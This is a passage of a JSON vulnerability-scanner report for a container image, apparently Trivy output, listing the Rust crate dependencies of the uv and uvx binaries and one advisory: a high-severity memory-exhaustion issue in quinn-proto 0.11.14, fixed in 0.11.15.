"uv-workspace@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-shell@0.0.58", "Name": "uv-shell", "Identifier": { "PURL": "pkg:cargo/uv-shell@0.0.58", "UID": "897b61229f53f3ad" }, "Version": "0.0.58", "DependsOn": [ "anyhow@1.0.102", "fs-err@3.3.0", "nix@0.31.3", "same-file@1.0.6", "tracing@0.1.44", "uv-fs@0.0.58", "uv-static@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-small-str@0.0.58", "Name": "uv-small-str", "Identifier": { "PURL": "pkg:cargo/uv-small-str@0.0.58", "UID": "ec1779b43e35348b" }, "Version": "0.0.58", "DependsOn": [ "arcstr@1.2.0", "rkyv@0.8.16", "schemars@1.2.1", "serde@1.0.228" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-state@0.0.58", "Name": "uv-state", "Identifier": { "PURL": "pkg:cargo/uv-state@0.0.58", "UID": "1fe914f8deb8f794" }, "Version": "0.0.58", "DependsOn": [ "tempfile@3.27.0", "uv-dirs@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-static@0.0.58", "Name": "uv-static", "Identifier": { "PURL": "pkg:cargo/uv-static@0.0.58", "UID": "fcbfc18da3690a7" }, "Version": "0.0.58", "DependsOn": [ "thiserror@2.0.18" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-test@0.0.58", "Name": "uv-test", "Identifier": { "PURL": "pkg:cargo/uv-test@0.0.58", "UID": "f3b558f9a93e5317" }, "Version": "0.0.58", "DependsOn": [ "anyhow@1.0.102", "assert_cmd@2.2.2", "assert_fs@1.1.4", "astral-tokio-tar@0.6.3", "astral_async_zip@0.0.18", "base64@0.22.1", "flate2@1.1.9", "fs-err@3.3.0", "futures@0.3.32", "http@1.4.1", "ignore@0.4.26", "indoc@2.0.7", "insta@1.48.0", "itertools@0.14.0", "predicates@3.1.4", "regex@1.12.4", "reqwest@0.13.4", "serde@1.0.228", "serde_json@1.0.150", "sha2@0.10.9", "similar@3.1.1", "tempfile@3.27.0", "tokio@1.52.3", "tokio-util@0.7.18", "toml@1.1.2+spec-1.1.0", "url@2.5.8", "uv-cache@0.0.58", "uv-client@0.0.58", "uv-configuration@0.0.58", "uv-distribution-filename@0.0.58", "uv-fs@0.0.58", "uv-normalize@0.0.58", "uv-pep440@0.0.58", "uv-pep508@0.0.58", "uv-preview@0.0.58", "uv-python@0.0.58", "uv-static@0.0.58", "uv-version@0.11.25", "wiremock@0.6.5" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-toml@0.0.58", "Name": "uv-toml", "Identifier": { "PURL": "pkg:cargo/uv-toml@0.0.58", "UID": "215e429304b6c14c" }, "Version": "0.0.58", "DependsOn": [ "serde@1.0.228", "toml_datetime@1.1.1+spec-1.1.0", "toml_parser@1.1.2+spec-1.1.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-tool@0.0.58", "Name": "uv-tool", "Identifier": { "PURL": "pkg:cargo/uv-tool@0.0.58", "UID": "ea9f6a9d6feaa28" }, "Version": "0.0.58", "DependsOn": [ "fs-err@3.3.0", "owo-colors@4.3.0", "pathdiff@0.2.3", "serde@1.0.228", "thiserror@2.0.18", "toml@1.1.2+spec-1.1.0", "toml_edit@0.25.12+spec-1.1.0", "tracing@0.1.44", "uv-cache@0.0.58", "uv-configuration@0.0.58", "uv-dirs@0.0.58", "uv-distribution-types@0.0.58", "uv-fs@0.0.58", "uv-install-wheel@0.0.58", "uv-installer@0.0.58", "uv-normalize@0.0.58", "uv-pep440@0.0.58", "uv-pep508@0.0.58", "uv-pypi-types@0.0.58", "uv-python@0.0.58", "uv-settings@0.0.58", "uv-state@0.0.58", "uv-static@0.0.58", "uv-virtualenv@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-torch@0.0.58", "Name": "uv-torch", "Identifier": { "PURL": "pkg:cargo/uv-torch@0.0.58", "UID": "576aa172aa9d3b10" }, "Version": "0.0.58", "DependsOn": [ "clap@4.6.1", "either@1.16.0", "fs-err@3.3.0", "schemars@1.2.1", "serde@1.0.228", "thiserror@2.0.18", "tracing@0.1.44", "url@2.5.8", "uv-distribution-types@0.0.58", "uv-normalize@0.0.58", "uv-pep440@0.0.58", "uv-platform-tags@0.0.58", "uv-static@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-trampoline-builder@0.0.58", "Name": "uv-trampoline-builder", "Identifier": { "PURL": "pkg:cargo/uv-trampoline-builder@0.0.58", "UID": "d93d9323ec2f95a0" }, "Version": "0.0.58", "DependsOn": [ "anyhow@1.0.102", "fs-err@3.3.0", "goblin@0.10.7", "tempfile@3.27.0", "thiserror@2.0.18", "uv-fs@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-types@0.0.58", "Name": "uv-types", "Identifier": { "PURL": "pkg:cargo/uv-types@0.0.58", "UID": "475d456eb72e623f" }, "Version": "0.0.58", "DependsOn": [ "anyhow@1.0.102", "papaya@0.2.4", "rustc-hash@2.1.2", "thiserror@2.0.18", "uv-cache@0.0.58", "uv-configuration@0.0.58", "uv-distribution-filename@0.0.58", "uv-distribution-types@0.0.58", "uv-errors@0.0.58", "uv-git@0.0.58", "uv-normalize@0.0.58", "uv-once-map@0.0.58", "uv-pep440@0.0.58", "uv-pypi-types@0.0.58", "uv-python@0.0.58", "uv-redacted@0.0.58", "uv-workspace@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-unix@0.0.58", "Name": "uv-unix", "Identifier": { "PURL": "pkg:cargo/uv-unix@0.0.58", "UID": "bb5e55ba791114d9" }, "Version": "0.0.58", "DependsOn": [ "nix@0.31.3", "thiserror@2.0.18" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-version@0.11.25", "Name": "uv-version", "Identifier": { "PURL": "pkg:cargo/uv-version@0.11.25", "UID": "5a0d3113064e6096" }, "Version": "0.11.25", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-virtualenv@0.0.58", "Name": "uv-virtualenv", "Identifier": { "PURL": "pkg:cargo/uv-virtualenv@0.0.58", "UID": "f640c6fbf00d542b" }, "Version": "0.0.58", "DependsOn": [ "console@0.16.3", "fs-err@3.3.0", "itertools@0.14.0", "owo-colors@4.3.0", "pathdiff@0.2.3", "thiserror@2.0.18", "tracing@0.1.44", "uv-console@0.0.58", "uv-errors@0.0.58", "uv-fs@0.0.58", "uv-platform-tags@0.0.58", "uv-pypi-types@0.0.58", "uv-python@0.0.58", "uv-shell@0.0.58", "uv-version@0.11.25", "uv-warnings@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-warnings@0.0.58", "Name": "uv-warnings", "Identifier": { "PURL": "pkg:cargo/uv-warnings@0.0.58", "UID": "d2c16e347190d06b" }, "Version": "0.0.58", "DependsOn": [ "anstream@1.0.0", "owo-colors@4.3.0", "rustc-hash@2.1.2", "uv-errors@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-workspace@0.0.58", "Name": "uv-workspace", "Identifier": { "PURL": "pkg:cargo/uv-workspace@0.0.58", "UID": "da9ec789688c3f63" }, "Version": "0.0.58", "DependsOn": [ "clap@4.6.1", "fs-err@3.3.0", "glob@0.3.3", "ignore@0.4.26", "itertools@0.14.0", "rustc-hash@2.1.2", "schemars@1.2.1", "serde@1.0.228", "thiserror@2.0.18", "tokio@1.52.3", "toml@1.1.2+spec-1.1.0", "toml_edit@0.25.12+spec-1.1.0", "tracing@0.1.44", "uv-build-backend@0.0.58", "uv-cache@0.0.58", "uv-cache-key@0.0.58", "uv-configuration@0.0.58", "uv-distribution-types@0.0.58", "uv-errors@0.0.58", "uv-fs@0.0.58", "uv-git-types@0.0.58", "uv-normalize@0.0.58", "uv-once-map@0.0.58", "uv-options-metadata@0.0.58", "uv-pep440@0.0.58", "uv-pep508@0.0.58", "uv-pypi-types@0.0.58", "uv-redacted@0.0.58", "uv-static@0.0.58", "uv-toml@0.0.58", "uv-warnings@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "vte@0.14.1", "Name": "vte", "Identifier": { "PURL": "pkg:cargo/vte@0.14.1", "UID": "41c49f36ec4125c8" }, "Version": "0.14.1", "DependsOn": [ "memchr@2.8.2" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "wait-timeout@0.2.1", "Name": "wait-timeout", "Identifier": { "PURL": "pkg:cargo/wait-timeout@0.2.1", "UID": "798e011bd55df33b" }, "Version": "0.2.1", "DependsOn": [ "libc@0.2.186" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "walkdir@2.5.0", "Name": "walkdir", "Identifier": { "PURL": "pkg:cargo/walkdir@2.5.0", "UID": "79453bd4ad9ef45c" }, "Version": "2.5.0", "DependsOn": [ "same-file@1.0.6" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "want@0.3.1", "Name": "want", "Identifier": { "PURL": "pkg:cargo/want@0.3.1", "UID": "85a4d01d246eb721" }, "Version": "0.3.1", "DependsOn": [ "try-lock@0.2.5" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "webpki-root-certs@1.0.7", "Name": "webpki-root-certs", "Identifier": { "PURL": "pkg:cargo/webpki-root-certs@1.0.7", "UID": "5c424901ada76b1f" }, "Version": "1.0.7", "DependsOn": [ "rustls-pki-types@1.14.1" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "which@8.0.3", "Name": "which", "Identifier": { "PURL": "pkg:cargo/which@8.0.3", "UID": "a01049627a9e793e" }, "Version": "8.0.3", "DependsOn": [ "libc@0.2.186", "regex@1.12.4" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "winnow@1.0.3", "Name": "winnow", "Identifier": { "PURL": "pkg:cargo/winnow@1.0.3", "UID": "f6b761a72547dd1" }, "Version": "1.0.3", "DependsOn": [ "memchr@2.8.2" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "wiremock@0.6.5", "Name": "wiremock", "Identifier": { "PURL": "pkg:cargo/wiremock@0.6.5", "UID": "2d59eee8db56207f" }, "Version": "0.6.5", "DependsOn": [ "assert-json-diff@2.0.2", "base64@0.22.1", "deadpool@0.12.3", "futures@0.3.32", "http@1.4.1", "http-body-util@0.1.3", "hyper@1.10.1", "hyper-util@0.1.20", "log@0.4.29", "once_cell@1.21.4", "regex@1.12.4", "serde@1.0.228", "serde_json@1.0.150", "tokio@1.52.3", "url@2.5.8" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "writeable@0.6.2", "Name": "writeable", "Identifier": { "PURL": "pkg:cargo/writeable@0.6.2", "UID": "cb8e490c3b3d7410" }, "Version": "0.6.2", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "x509-parser@0.18.1", "Name": "x509-parser", "Identifier": { "PURL": "pkg:cargo/x509-parser@0.18.1", "UID": "b6435a4c05edda4f" }, "Version": "0.18.1", "DependsOn": [ "asn1-rs@0.7.1", "data-encoding@2.11.0", "der-parser@10.0.0", "lazy_static@1.5.0", "nom@7.1.3", "oid-registry@0.8.1", "ring@0.17.14", "rusticata-macros@4.1.0", "thiserror@2.0.18", "time@0.3.47" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "xattr@1.6.1", "Name": "xattr", "Identifier": { "PURL": "pkg:cargo/xattr@1.6.1", "UID": "435463d9fc5f42f9" }, "Version": "1.6.1", "DependsOn": [ "rustix@1.1.4" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "xml-rs@0.8.28", "Name": "xml-rs", "Identifier": { "PURL": "pkg:cargo/xml-rs@0.8.28", "UID": "8310673c83576b59" }, "Version": "0.8.28", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "xz2@0.1.7", "Name": "xz2", "Identifier": { "PURL": "pkg:cargo/xz2@0.1.7", "UID": "456f0d1bf463ce25" }, "Version": "0.1.7", "DependsOn": [ "lzma-sys@0.1.20" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "yoke@0.8.1", "Name": "yoke", "Identifier": { "PURL": "pkg:cargo/yoke@0.8.1", "UID": "7311d1c2b01fa3d9" }, "Version": "0.8.1", "DependsOn": [ "stable_deref_trait@1.2.1", "yoke-derive@0.8.1", "zerofrom@0.1.6" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "yoke-derive@0.8.1", "Name": "yoke-derive", "Identifier": { "PURL": "pkg:cargo/yoke-derive@0.8.1", "UID": "e45ed6e3609854af" }, "Version": "0.8.1", "DependsOn": [ "proc-macro2@1.0.106", "quote@1.0.45", "syn@2.0.117", "synstructure@0.13.2" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "zbus@5.15.0", "Name": "zbus", "Identifier": { "PURL": "pkg:cargo/zbus@5.15.0", "UID": "7f4dfdb4c3f3a20b" }, "Version": "5.15.0", "DependsOn": [ "async-broadcast@0.7.2", "async-recursion@1.1.1", "async-trait@0.1.89", "enumflags2@0.7.12", "event-listener@5.4.1", "futures-core@0.3.32", "futures-lite@2.6.1", "hex@0.4.3", "libc@0.2.186", "ordered-stream@0.2.0", "rustix@1.1.4", "serde@1.0.228", "serde_repr@0.1.20", "tokio@1.52.3", "tracing@0.1.44", "uuid@1.23.3", "winnow@1.0.3", "zbus_macros@5.15.0", "zbus_names@4.3.2", "zvariant@5.11.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "zbus_macros@5.15.0", "Name": "zbus_macros", "Identifier": { "PURL": "pkg:cargo/zbus_macros@5.15.0", "UID": "9aacc2edafac90a7" }, "Version": "5.15.0", "DependsOn": [ "proc-macro-crate@3.5.0", "proc-macro2@1.0.106", "quote@1.0.45", "syn@2.0.117", "zbus_names@4.3.2", "zvariant@5.11.0", "zvariant_utils@3.3.1" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "zbus_names@4.3.2", "Name": "zbus_names", "Identifier": { "PURL": "pkg:cargo/zbus_names@4.3.2", "UID": "c3bce4859b918cc4" }, "Version": "4.3.2", "DependsOn": [ "serde@1.0.228", "winnow@1.0.3", "zvariant@5.11.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "zerocopy@0.8.42", "Name": "zerocopy", "Identifier": { "PURL": "pkg:cargo/zerocopy@0.8.42", "UID": "32027ff41e5d2031" }, "Version": "0.8.42", "DependsOn": [ "zerocopy-derive@0.8.42" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "zerocopy-derive@0.8.42", "Name": "zerocopy-derive", "Identifier": { "PURL": "pkg:cargo/zerocopy-derive@0.8.42", "UID": "8469a58b86107fd8" }, "Version": "0.8.42", "DependsOn": [ "proc-macro2@1.0.106", "quote@1.0.45", "syn@2.0.117" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "zerofrom@0.1.6", "Name": "zerofrom", "Identifier": { "PURL": "pkg:cargo/zerofrom@0.1.6", "UID": "47eefea2da1c873f" }, "Version": "0.1.6", "DependsOn": [ "zerofrom-derive@0.1.6" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "zerofrom-derive@0.1.6", "Name": "zerofrom-derive", "Identifier": { "PURL": "pkg:cargo/zerofrom-derive@0.1.6", "UID": "23fa7502c05e20e5" }, "Version": "0.1.6", "DependsOn": [ "proc-macro2@1.0.106", "quote@1.0.45", "syn@2.0.117", "synstructure@0.13.2" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "zeroize@1.9.0", "Name": "zeroize", "Identifier": { "PURL": "pkg:cargo/zeroize@1.9.0", "UID": "f14d86c3eecf7d0e" }, "Version": "1.9.0", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "zerotrie@0.2.3", "Name": "zerotrie", "Identifier": { "PURL": "pkg:cargo/zerotrie@0.2.3", "UID": "596160387dfb4dcc" }, "Version": "0.2.3", "DependsOn": [ "displaydoc@0.2.5", "yoke@0.8.1", "zerofrom@0.1.6" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "zerovec@0.11.5", "Name": "zerovec", "Identifier": { "PURL": "pkg:cargo/zerovec@0.11.5", "UID": "bacf537f9858a1c9" }, "Version": "0.11.5", "DependsOn": [ "yoke@0.8.1", "zerofrom@0.1.6", "zerovec-derive@0.11.2" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "zerovec-derive@0.11.2", "Name": "zerovec-derive", "Identifier": { "PURL": "pkg:cargo/zerovec-derive@0.11.2", "UID": "401c91ee40f9e883" }, "Version": "0.11.2", "DependsOn": [ "proc-macro2@1.0.106", "quote@1.0.45", "syn@2.0.117" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "zlib-rs@0.6.3", "Name": "zlib-rs", "Identifier": { "PURL": "pkg:cargo/zlib-rs@0.6.3", "UID": "8b6ce3aea613bda5" }, "Version": "0.6.3", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "zmij@1.0.21", "Name": "zmij", "Identifier": { "PURL": "pkg:cargo/zmij@1.0.21", "UID": "20296a75eca1a2ae" }, "Version": "1.0.21", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "zstd@0.13.3", "Name": "zstd", "Identifier": { "PURL": "pkg:cargo/zstd@0.13.3", "UID": "eaf121bd0eac8b8d" }, "Version": "0.13.3", "DependsOn": [ "zstd-safe@7.2.4" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "zstd-safe@7.2.4", "Name": "zstd-safe", "Identifier": { "PURL": "pkg:cargo/zstd-safe@7.2.4", "UID": "89bd5dc92786822b" }, "Version": "7.2.4", "DependsOn": [ "zstd-sys@2.0.16+zstd.1.5.7" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "zstd-sys@2.0.16+zstd.1.5.7", "Name": "zstd-sys", "Identifier": { "PURL": "pkg:cargo/zstd-sys@2.0.16%2Bzstd.1.5.7", "UID": "fc7c754a19edb0e7" }, "Version": "2.0.16+zstd.1.5.7", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "zvariant@5.11.0", "Name": "zvariant", "Identifier": { "PURL": "pkg:cargo/zvariant@5.11.0", "UID": "8941985553ecc075" }, "Version": "5.11.0", "DependsOn": [ "endi@1.1.1", "enumflags2@0.7.12", "serde@1.0.228", "winnow@1.0.3", "zvariant_derive@5.11.0", "zvariant_utils@3.3.1" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "zvariant_derive@5.11.0", "Name": "zvariant_derive", "Identifier": { "PURL": "pkg:cargo/zvariant_derive@5.11.0", "UID": "b2ce99e7e380bf36" }, "Version": "5.11.0", "DependsOn": [ "proc-macro-crate@3.5.0", "proc-macro2@1.0.106", "quote@1.0.45", "syn@2.0.117", "zvariant_utils@3.3.1" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "zvariant_utils@3.3.1", "Name": "zvariant_utils", "Identifier": { "PURL": "pkg:cargo/zvariant_utils@3.3.1", "UID": "22c256539f407bcb" }, "Version": "3.3.1", "DependsOn": [ "proc-macro2@1.0.106", "quote@1.0.45", "serde@1.0.228", "syn@2.0.117", "winnow@1.0.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" } ], "Vulnerabilities": [ { "VulnerabilityID": "GHSA-4w2j-m93h-cj5j", "PkgID": "quinn-proto@0.11.14", "PkgName": "quinn-proto", "PkgIdentifier": { "PURL": "pkg:cargo/quinn-proto@0.11.14", "UID": "ee350fd147cf64d1" }, "InstalledVersion": "0.11.14", "FixedVersion": "0.11.15", "Status": "fixed", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "SeveritySource": "ghsa", "PrimaryURL": "https://github.com/advisories/GHSA-4w2j-m93h-cj5j", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory Rust", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Arust" }, "Fingerprint": "sha256:4ddbbe7ad82663301d23e2053a577ea831b553e41ecc65dd515de7fa349d595f", "Title": "Quinn: Remote memory exhaustion in quinn-proto from unbounded out-of-order stream reassembly", "Description": "## Summary\n\nThe `Assembler` component that assembles unordered stream fragments into consecutive chunks of the stream incurs some overhead for non-contiguous fragments. Readers that read from a `RecvStream` in order (through an `AsyncRead` impl for example) will be sensitive to peers that send fragments while leaving out early parts of the stream, and in particular, fragments with many gaps (because these cannot be defragmented). In such a scenario, the receiving connection suffers from high buffer overhead, enabling memory exhaustion.", "Severity": "HIGH", "VendorSeverity": { "ghsa": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://github.com/quinn-rs/quinn", "https://github.com/quinn-rs/quinn/commit/fed0321a9a672819662caab37f5662f1ad91308e", "https://github.com/quinn-rs/quinn/pull/2694", "https://github.com/quinn-rs/quinn/releases/tag/quinn-proto-0.11.15", "https://github.com/quinn-rs/quinn/security/advisories/GHSA-4w2j-m93h-cj5j", "https://rustsec.org/advisories/RUSTSEC-2026-0185.html" ], "PublishedDate": "2026-07-24T14:07:54Z", "LastModifiedDate": "2026-07-24T14:07:54Z" } ] }, { "Target": "usr/local/bin/uvx", "Class": "lang-pkgs", "Type": "rustbinary", "Packages": [ { "ID": "uv@0.11.25", "Name": "uv", "Identifier": { "PURL": "pkg:cargo/uv@0.11.25", "UID": "f4fdf6862018eef9" }, "Version": "0.11.25", "Relationship": "root", "DependsOn": [ "anstream@1.0.0", "anyhow@1.0.102", "astral-version-ranges@0.1.4", "astral_async_zip@0.0.18", "axoupdater@0.10.0", "clap@4.6.1", "console@0.16.3", "ctrlc@3.5.2", "diskus@0.9.0", "dotenvy@0.15.7", "dunce@1.0.5", "etcetera@0.11.0", "fs-err@3.3.0", "futures@0.3.32", "http@1.4.1", "ignore@0.4.26", "indexmap@2.14.0", "indicatif@0.18.4", "indoc@2.0.7", "itertools@0.14.0", "jiff@0.2.28", "miette@7.6.0", "nix@0.31.3", "open@5.3.5", "owo-colors@4.3.0", "petgraph@0.8.3", "reqwest@0.13.4", "rkyv@0.8.16", "rustc-hash@2.1.2", "serde@1.0.228", "serde_json@1.0.150", "tempfile@3.27.0", "textwrap@0.16.2", "thiserror@2.0.18", "tokio@1.52.3", "toml@1.1.2+spec-1.1.0", "toml_edit@0.25.12+spec-1.1.0", "tracing@0.1.44", "tracing-subscriber@0.3.23", "tracing-tree@0.4.1", "unicode-width@0.2.2", "url@2.5.8", "uuid@1.23.3", "uv-audit@0.0.58", "uv-auth@0.0.58", "uv-bin-install@0.0.58", "uv-build-backend@0.0.58", "uv-build-frontend@0.0.58", "uv-cache@0.0.58", "uv-cache-info@0.0.58", "uv-cache-key@0.0.58", "uv-cli@0.0.58", "uv-client@0.0.58", "uv-configuration@0.0.58", "uv-console@0.0.58", "uv-dispatch@0.0.58", "uv-distribution@0.0.58", "uv-distribution-filename@0.0.58", "uv-distribution-types@0.0.58", "uv-errors@0.0.58", "uv-extract@0.0.58", "uv-flags@0.0.58", "uv-fs@0.0.58", "uv-git@0.0.58", "uv-git-types@0.0.58", "uv-install-wheel@0.0.58", "uv-installer@0.0.58", "uv-logging@0.0.58", "uv-normalize@0.0.58", "uv-pep440@0.0.58", "uv-pep508@0.0.58", "uv-performance-memory-allocator@0.0.58", "uv-platform@0.0.58", "uv-platform-tags@0.0.58", "uv-preview@0.0.58", "uv-publish@0.0.58", "uv-pypi-types@0.0.58", "uv-python@0.0.58", "uv-redacted@0.0.58", "uv-requirements@0.0.58", "uv-requirements-txt@0.0.58", "uv-resolver@0.0.58", "uv-scripts@0.0.58", "uv-settings@0.0.58", "uv-shell@0.0.58", "uv-static@0.0.58", "uv-test@0.0.58", "uv-tool@0.0.58", "uv-torch@0.0.58", "uv-trampoline-builder@0.0.58", "uv-types@0.0.58", "uv-unix@0.0.58", "uv-version@0.11.25", "uv-virtualenv@0.0.58", 